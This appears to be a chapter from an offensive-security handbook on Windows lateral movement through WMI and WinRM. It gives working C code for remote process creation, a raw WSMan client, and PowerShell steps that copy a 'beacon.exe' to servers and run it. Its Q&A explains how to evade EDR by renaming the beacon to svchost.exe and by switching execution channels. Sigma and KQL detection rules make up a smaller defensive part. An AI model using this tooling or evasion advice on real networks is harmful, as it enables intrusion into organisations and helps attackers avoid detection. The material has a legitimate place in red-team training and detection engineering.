Lateral Movement via WMI and WinRM
WMI and WinRM are the two dominant built-in remote execution primitives in Windows environments — both are signed Microsoft binaries, both run over legitimate management ports, and both are present in virtually every enterprise. This chapter builds remote execution from raw COM (for WMI) and raw HTTP (for WinRM), compares the opsec profile of each against PsExec/SMB-based lateral movement, and covers the detection signatures defenders use to catch both.
You have Domain Admin credentials and need to push a beacon to 12 servers in the finance segment simultaneously. PsExec is blocked — endpoint protection flags the service binary creation pattern. You need a technique that uses built-in Windows management infrastructure, generates no new service, and produces a parent process of WMI or WSMan rather than services.exe. WMI Win32_Process.Create() and WinRM Invoke-Command satisfy both requirements.
WMI Remote Execution Overview
WMI Remote Execution via COM (C)
#include "windows.h"
#include "wbemidl.h"
#include "objbase.h"
#include "stdio.h"
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
BOOL WmiExec(const wchar_t* target, const wchar_t* domain,
const wchar_t* user, const wchar_t* password,
const wchar_t* command) {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
// Build remote namespace path: \\target\root\cimv2
wchar_t ns[256];
swprintf_s(ns, 256, L"\\\\%s\\root\\cimv2", target);
// Explicit credentials via COAUTHIDENTITY
COAUTHIDENTITY authId = {0};
authId.User = (USHORT*)user;
authId.UserLength = (ULONG)wcslen(user);
authId.Domain = (USHORT*)domain;
authId.DomainLength = (ULONG)wcslen(domain);
authId.Password = (USHORT*)password;
authId.PasswordLength = (ULONG)wcslen(password);
authId.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
COAUTHINFO authInfo = {0};
authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT;
authInfo.dwAuthzSvc = RPC_C_AUTHZ_NONE;
authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_CALL;
authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE;
authInfo.pAuthIdentityData = &authId;
authInfo.dwCapabilities = EOAC_NONE;
COSERVERINFO serverInfo = {0};
serverInfo.pwszName = (wchar_t*)target;
serverInfo.pAuthInfo = &authInfo;
// Create IWbemLocator on remote machine
IWbemLocator* pLoc = NULL;
HRESULT hr = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (void**)&pLoc);
if (FAILED(hr)) { printf("[-] CoCreateInstance: 0x%X\n", hr); return FALSE; }
IWbemServices* pSvc = NULL;
BSTR bstrNs = SysAllocString(ns);
hr = pLoc->ConnectServer(bstrNs,
SysAllocString(user), SysAllocString(password),
NULL, 0, NULL, NULL, &pSvc);
SysFreeString(bstrNs);
if (FAILED(hr)) {
printf("[-] ConnectServer: 0x%X\n", hr);
pLoc->Release(); return FALSE;
}
// Set authentication level on the proxy
CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
&authId, EOAC_NONE);
// Get Win32_Process class object
IWbemClassObject* pClass = NULL;
BSTR bstrClass = SysAllocString(L"Win32_Process");
pSvc->GetObject(bstrClass, 0, NULL, &pClass, NULL);
SysFreeString(bstrClass);
// Get the Create method
IWbemClassObject* pMethod = NULL;
BSTR bstrMethod = SysAllocString(L"Create");
pClass->GetMethod(bstrMethod, 0, &pMethod, NULL);
// Build input parameters: CommandLine
IWbemClassObject* pIn = NULL;
pMethod->SpawnInstance(0, &pIn);
VARIANT varCmd; varCmd.vt = VT_BSTR;
varCmd.bstrVal = SysAllocString(command);
pIn->Put(L"CommandLine", 0, &varCmd, 0);
VariantClear(&varCmd);
// Execute Win32_Process.Create() on remote target
IWbemClassObject* pOut = NULL;
hr = pSvc->ExecMethod(SysAllocString(L"Win32_Process"), bstrMethod,
0, NULL, pIn, &pOut, NULL);
if (SUCCEEDED(hr)) {
VARIANT varPid;
pOut->Get(L"ProcessId", 0, &varPid, NULL, NULL);
printf("[+] Process created on %S, PID: %d\n",
target, varPid.uintVal);
VariantClear(&varPid);
}
pOut->Release(); pIn->Release();
pMethod->Release(); pClass->Release();
pSvc->Release(); pLoc->Release();
SysFreeString(bstrMethod);
CoUninitialize();
return SUCCEEDED(hr);
}
Capturing WMI Command Output via Registry Exfil
// Win32_Process.Create() is fire-and-forget — no output channel.
// To capture output, redirect to a file and read via WMI or SMB:
// Command: cmd.exe /c whoami > C:\Windows\Temp\out.txt
// Then: read C:\Windows\Temp\out.txt via CIM_DataFile or SMB \\target\C$\Windows\Temp\out.txt
// Example: run command, write output to temp file, read via WMI CIM_DataFile:
wchar_t cmd[512];
swprintf_s(cmd, 512, L"cmd.exe /c %s > C:\\Windows\\Temp\\wmiout.txt 2>&1", command);
WmiExec(target, domain, user, password, cmd);
Sleep(2000); // allow command to complete
// Read output via SMB (\\target\C$\...)
wchar_t smbPath[512];
swprintf_s(smbPath, 512, L"\\\\%s\\C$\\Windows\\Temp\\wmiout.txt", target);
HANDLE hOut = CreateFileW(smbPath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hOut != INVALID_HANDLE_VALUE) {
char buf[4096] = {0}; DWORD read;
ReadFile(hOut, buf, sizeof(buf)-1, &read, NULL);
printf("%s", buf);
CloseHandle(hOut);
DeleteFileW(smbPath);
}
WinRM Remote Execution via WinHTTP
// WinRM uses SOAP/HTTP on port 5985 (HTTP) or 5986 (HTTPS).
// Raw POST to http://target:5985/wsman with WSMan envelope.
// This bypasses winrm.cmd and powershell.exe entirely.
// Auth: Kerberos (default in domain), NTLM, or Basic+HTTPS.
#include "winhttp.h"
#pragma comment(lib, "winhttp.lib")
const char* WSMAN_SHELL_CREATE =
"<s:Envelope xmlns:s='http://www.w3.org/2003/05/soap-envelope'"
" xmlns:wsmv='http://schemas.microsoft.com/wbem/wsman/1/wsmanfault'"
" xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'"
" xmlns:wsa='http://schemas.xmlsoap.org/ws/2004/08/addressing'"
" xmlns:rsp='http://schemas.microsoft.com/wbem/wsman/1/windows/shell'>"
"<s:Header>"
"<wsa:To>http://TARGET:5985/wsman</wsa:To>"
"<wsman:ResourceURI>http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</wsman:ResourceURI>"
"<wsa:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</wsa:Action>"
"</s:Header>"
"<s:Body><rsp:Shell><rsp:Environment/><rsp:WorkingDirectory>C:\\</rsp:WorkingDirectory></rsp:Shell></s:Body>"
"</s:Envelope>";
BOOL WinRMPost(const wchar_t* host, USHORT port,
const char* soapBody, char** responseOut) {
HINTERNET hSession = WinHttpOpen(L"WinRM-C/1.0",
WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, host, port, 0);
HINTERNET hReq = WinHttpOpenRequest(hConnect, L"POST", L"/wsman",
NULL, NULL, NULL, 0);
// Enable Kerberos/NTLM auto-auth
DWORD authSchemes = WINHTTP_AUTH_SCHEME_NEGOTIATE;
WinHttpSetOption(hReq, WINHTTP_OPTION_AUTOLOGON_POLICY,
&authSchemes, sizeof(authSchemes));
BOOL ok = WinHttpSendRequest(hReq,
L"Content-Type: application/soap+xml;charset=UTF-8", -1,
(void*)soapBody, (DWORD)strlen(soapBody), (DWORD)strlen(soapBody), 0);
WinHttpReceiveResponse(hReq, NULL);
DWORD sz = 0, total = 0;
while (WinHttpQueryDataAvailable(hReq, &sz) && sz > 0) {
char* chunk = (char*)HeapAlloc(GetProcessHeap(), 0, sz+1);
DWORD read; WinHttpReadData(hReq, chunk, sz, &read);
// accumulate into responseOut...
HeapFree(GetProcessHeap(), 0, chunk);
}
WinHttpCloseHandle(hReq);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return ok;
}
WinRM via PowerShell Remoting (Operational)
# PowerShell-level WinRM — cleaner for operators who have PS execution
# Invoke-Command runs in the WsmProvHost.exe process on the target
# Basic execution:
Invoke-Command -ComputerName target01 -ScriptBlock { whoami; ipconfig }
# With explicit credentials (PtH-compatible via Kerberos):
$cred = Get-Credential
Invoke-Command -ComputerName target01 -Credential $cred -ScriptBlock { ... }
# Persistent session (more efficient for multiple commands):
$s = New-PSSession -ComputerName target01
Invoke-Command -Session $s -ScriptBlock { ... }
Copy-Item -ToSession $s -Path .\beacon.exe -Destination C:\Windows\Temp\
Invoke-Command -Session $s -ScriptBlock { Start-Process C:\Windows\Temp\beacon.exe }
Remove-PSSession $s
# Using PtH context (run after CreateProcessWithLogonW LOGON_NETCREDENTIALS_ONLY):
# The PowerShell process inherits the PtH logon session — no explicit cred needed:
Invoke-Command -ComputerName target01 -ScriptBlock { Start-Process calc.exe }
# HTTPS WinRM for environments with 5985 blocked:
# Enable-WSManCredSSP or use -UseSSL (port 5986)
WMI vs WinRM vs PsExec Comparison
| Factor | WMI Win32_Process | WinRM / PS Remoting | PsExec / SMB Service |
|---|---|---|---|
| Port | 135 + dynamic DCOM | 5985/5986 (HTTP/S) | 445 (SMB) |
| Parent process on target | WmiPrvSE.exe | wsmprovhost.exe | services.exe |
| Service created | No | No | Yes — PSEXESVC |
| Output capture | No (needs file redirect) | Yes — native | Yes — native pipe |
| Admin required | Yes (remote WMI) | Yes (or WinRM DCOM perms) | Yes |
| Typical EDR detection | WmiPrvSE spawning unusual child | wsmprovhost spawning unusual child | PSEXESVC creation + 7045 |
| Blocked by firewall? | Often (DCOM dynamic ports) | Often blocked at perimeter, open internally | Requires 445 open |
Detection Engineering
title: WMI Remote Process Creation — Suspicious Child of WmiPrvSE
logsource:
product: windows
category: process_creation # Sysmon 1 / Event 4688
detection:
selection:
ParentImage|endswith: '\WmiPrvSE.exe'
filter_legit:
Image|endswith:
- '\WmiPrvSE.exe'
- '\scrcons.exe'
- '\msiexec.exe'
condition: selection AND NOT filter_legit
level: high
tags: [attack.lateral_movement, T1021.003]
title: WinRM Lateral Movement — wsmprovhost Unusual Child Process
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\wsmprovhost.exe'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
condition: selection
level: high
-- MDE KQL: WMI lateral movement from workstation to server
DeviceProcessEvents
| where InitiatingProcessFileName =~ "WmiPrvSE.exe"
| where FileName !in~ ("WmiPrvSE.exe", "scrcons.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessCommandLine, AccountName, LogonId
| order by Timestamp desc
Q&A
How can WMI lateral movement be performed without spawning cmd.exe or PowerShell on the target — and why does that matter for detection?
Win32_Process.Create() accepts any executable as the CommandLine parameter — it doesn't have to be cmd.exe or PowerShell. Modern EDR rules specifically flag WmiPrvSE.exe → cmd.exe or WmiPrvSE.exe → powershell.exe as high-confidence lateral movement. The alternative is to call your beacon binary directly: if you've already copied svchost.exe (renamed beacon) to C:\Windows\Temp\ via SMB, the WMI command becomes C:\Windows\Temp\svchost.exe — a child of WmiPrvSE that looks like a legitimate system binary being spawned from the WMI service. The detection logic has to evaluate the binary by hash or by behavioral telemetry rather than parent-child process name pairing.
A further refinement is using Win32_ScheduledJob (the at.exe interface) or WMI eventing (Chapter 126) rather than Win32_Process.Create() at all. Scheduled jobs produce a child of svchost.exe (Task Scheduler), not WmiPrvSE. WMI event subscriptions execute in scrcons.exe, not WmiPrvSE. Each execution mechanism has a different parent process signature, and shifting between them requires defenders to maintain detection rules for all execution channels rather than a single parent-child pair. The underlying principle for detection-aware operators is: choose the execution method whose parent process is most expected on the target system, and whose child process image name blends into the normal process baseline of that host. A server that runs hundreds of WMI queries per hour is a worse detection surface than a workstation where WmiPrvSE is rarely seen at all.